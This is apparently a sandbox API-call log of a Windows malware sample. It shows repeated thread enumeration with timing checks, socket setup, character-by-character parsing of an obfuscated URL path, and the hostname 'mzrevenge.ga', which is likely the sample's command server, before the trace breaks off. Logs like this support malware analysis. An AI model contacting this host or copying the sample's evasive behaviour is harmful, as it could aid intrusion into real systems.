returned 1 [0117.451] GetTickCount () returned 0x11501a6 [0117.451] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.452] GetTickCount () returned 0x11501a6 [0117.452] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.453] GetTickCount () returned 0x11501a6 [0117.453] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.453] GetTickCount () returned 0x11501a6 [0117.454] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.454] GetTickCount () returned 0x11501a6 [0117.454] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.455] GetTickCount () returned 0x11501a6 [0117.455] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.456] GetTickCount () returned 0x11501a6 [0117.456] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.457] GetTickCount () returned 0x11501a6 [0117.457] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.458] GetTickCount () returned 0x11501a6 [0117.458] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.459] GetTickCount () returned 0x11501a6 [0117.459] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.461] GetTickCount () returned 0x11501a6 [0117.461] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.462] GetTickCount () returned 0x11501a6 [0117.462] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.463] GetTickCount () returned 0x11501a6 [0117.463] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.463] GetTickCount () returned 0x11501a6 [0117.463] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.464] GetTickCount () returned 0x11501a6 [0117.464] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.465] GetTickCount () returned 0x11501a6 [0117.465] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.466] GetTickCount () returned 0x11501b6 [0117.466] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.467] GetTickCount () returned 0x11501b6 [0117.467] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.468] GetTickCount () returned 0x11501b6 [0117.468] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.469] GetTickCount () returned 0x11501b6 [0117.469] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.470] GetTickCount () returned 0x11501b6 [0117.470] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.471] GetTickCount () returned 0x11501b6 [0117.471] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.472] GetTickCount () returned 0x11501b6 [0117.472] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.472] GetTickCount () returned 0x11501b6 [0117.473] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.473] GetTickCount () returned 0x11501b6 [0117.473] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.474] GetTickCount () returned 0x11501b6 [0117.474] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.475] GetTickCount () returned 0x11501b6 [0117.475] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.476] GetTickCount () returned 0x11501b6 [0117.476] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.477] GetTickCount () returned 0x11501b6 [0117.477] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.478] GetTickCount () returned 0x11501b6 [0117.478] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.479] GetTickCount () returned 0x11501b6 [0117.479] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.480] GetTickCount () returned 0x11501b6 [0117.480] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.480] GetTickCount () returned 0x11501b6 [0117.481] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.497] GetTickCount () returned 0x11501d5 [0117.497] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.498] GetTickCount () returned 0x11501d5 [0117.498] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.499] GetTickCount () returned 0x11501d5 [0117.499] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.500] GetTickCount () returned 0x11501d5 [0117.500] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.501] GetTickCount () returned 0x11501d5 [0117.501] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.501] GetTickCount () returned 0x11501d5 [0117.502] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.502] GetTickCount () returned 0x11501d5 [0117.502] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.503] GetTickCount () returned 0x11501d5 [0117.503] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.504] GetTickCount () returned 0x11501d5 [0117.504] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.505] GetTickCount () returned 0x11501d5 [0117.505] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.506] GetTickCount () returned 0x11501d5 [0117.506] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.507] GetTickCount () returned 0x11501d5 [0117.507] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.508] GetTickCount () returned 0x11501d5 [0117.508] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.509] GetTickCount () returned 0x11501d5 [0117.509] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.509] GetTickCount () returned 0x11501d5 [0117.509] Thread32Next (hSnapshot=0x280, lpte=0x18f61c) returned 1 [0117.510] GetTickCount () returned 0x11501d5 [0117.581] FreeLibrary (hLibModule=0x76d30000) returned 1 [0117.581] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5e0 | out: lpPerformanceCount=0x18f5e0*=23738929481) returned 1 [0117.581] GlobalMemoryStatus (in: lpBuffer=0x18f5fc | out: lpBuffer=0x18f5fc) [0117.645] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.645] GetLastError () returned 0x3 [0117.645] GetLastError () returned 0x3 [0117.645] SetLastError (dwErrCode=0x3) [0117.645] GetLastError () returned 0x3 [0117.645] SetLastError (dwErrCode=0x3) [0117.645] GetLastError () returned 0x3 [0117.645] SetLastError (dwErrCode=0x3) [0117.645] GetLastError () returned 0x3 [0117.645] SetLastError (dwErrCode=0x3) [0117.646] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0117.646] GetLastError () returned 0x3 [0117.646] GetLastError () returned 0x3 [0117.646] SetLastError (dwErrCode=0x3) [0117.646] GetLastError () returned 0x3 [0117.646] SetLastError (dwErrCode=0x3) [0117.646] GetLastError () returned 0x3 [0117.646] SetLastError (dwErrCode=0x3) [0117.646] GetLastError () returned 0x3 [0117.647] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34c48, Size=0x20) returned 0x2d253a0 [0117.647] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d253a0, Size=0x40) returned 0x2d253a0 [0117.647] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d253a0, Size=0x80) returned 0x2d253a0 [0117.647] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d253a0, Size=0x100) returned 0x2d297c8 [0117.647] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d297c8, Size=0x200) returned 0x2d297c8 [0117.647] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d28df8 | out: hHeap=0x2a0000) returned 1 [0117.647] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e08 [0117.647] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c48 [0117.647] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34c48, Size=0x200) returned 0x2d299d0 [0117.647] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0117.647] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c88 | out: hHeap=0x2a0000) returned 1 [0117.647] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d25088 | out: hHeap=0x2a0000) returned 1 [0117.647] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35ca8 | out: hHeap=0x2a0000) returned 1 [0117.647] setsockopt (s=0x12c, level=65535, optname=4102, optval="0u", optlen=4) returned 0 [0117.648] setsockopt (s=0x12c, level=65535, optname=4101, optval="0u", optlen=4) returned 0 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="@", cchCount2=1) returned 1 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="v", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="e", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="m", cchCount1=1, lpString2="@", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.648] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".", cchCount1=1, lpString2="/", cchCount2=1) returned 1 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="=", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.650] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="h", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.651] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="x", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="V", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.652] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="g", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.653] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="z", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="M", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="O", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="D", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.654] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="j", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="G", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="R", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.655] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N", cchCount1=1, lpString2="/", cchCount2=1) returned 3 [0117.655] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1dc) returned 0x2d24e80 [0117.655] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2d25068 [0117.655] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d29bd8 [0117.655] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d29c10 [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] GetCurrentThreadId () returned 0x9fc [0117.655] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x42c) returned 0x2d28df8 [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34c48 [0117.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35ca8 [0117.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c60 [0117.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34c78 [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35c88 [0117.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34c90 [0117.656] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d251f0 [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.656] GetCurrentThreadId () returned 0x9fc [0117.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ca8 [0117.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35e28 [0117.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34cc0 [0117.657] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34cd8 [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] GetCurrentThreadId () returned 0x9fc [0117.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mzrevenge.ga", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0117.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mzrevenge.ga", cchWideChar=12, lpMultiByteStr=0x7f2f6c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mzrevenge.ga", lpUsedDefaultChar=0x0) 